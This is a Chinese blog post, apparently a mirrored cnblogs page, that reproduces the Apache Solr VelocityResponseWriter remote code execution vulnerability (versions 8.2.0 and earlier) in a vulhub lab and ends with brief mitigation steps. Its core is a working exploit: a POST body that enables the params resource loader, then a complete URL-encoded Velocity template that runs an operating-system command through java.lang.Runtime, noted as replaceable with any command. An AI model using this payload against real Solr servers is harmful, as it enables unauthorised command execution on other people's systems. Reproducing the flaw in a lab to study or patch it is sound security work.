zoukankan      html  css  js  c++  java
  • Apache Solr远程命令执行

    简介

    Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。

    此次漏洞主要是由于 Apache Solr VelocityResponseWrite 插件中 params.resource.loader.enabled 配置项的默认值可通过 HTTP 请求直接进行修改有关,攻击者可通过向 /节点名称/config URL发送POST请求修改 params.resource.loader.enabled 参数的值为 true,再通过发送参数中带有恶意 velocity 模板的 GET 请求实现远程代码执行。

    影响版本:
    Apache Solr <= 8.2.0

    漏洞验证

    环境来自 vulhub。

    docker-compose up -d   // 启动环境
    docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db   // 生成节点名为 test 的测试节点
    

    构造POST请求,在 /solr/test/config 目录 POST 以下数据(修改Core的配置):

    {
      "update-queryresponsewriter": {
        "startup": "lazy",
        "name": "velocity",
        "class": "solr.VelocityResponseWriter",
        "template.base.dir": "",
        "solr.resource.loader.enabled": "true",
        "params.resource.loader.enabled": "true"
      }
    }
    

    成功后执行 exp:

    http://ip:8983/solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
    // id 可换成任意命令
    

    修复:
    Apache官方暂未发布对应补丁,可采用以下临时缓解措施:
    1、在不影响正常使用的情况下,删除solrconfiog.xml配置文件中class为VelocityResponseWriter的节点以及configoverlay.json文件,并重启solr服务。
    2、开启Solr认证功能,限制不可信来源与Solr进行交互。

  • 相关阅读:
    2019EC-Final参赛总结
    [2019HDU多校第五场][HDU 6626][C. geometric problem]
    [2019HDU多校第四场][HDU 6617][D. Enveloping Convex]
    [2019HDU多校第二场][HDU 6591][A. Another Chess Problem]
    [2019HDU多校第三场][HDU 6603][A. Azshara's deep sea]
    函数柯里化
    Polyfill 与 Shim
    Webpack 中的 Tree Shaking
    部署hexo后github pages页面未更新或无法打开问题
    如何删除github wiki page
  • 原文地址:https://www.cnblogs.com/sstfy/p/11844589.html
Copyright © 2011-2022 走看看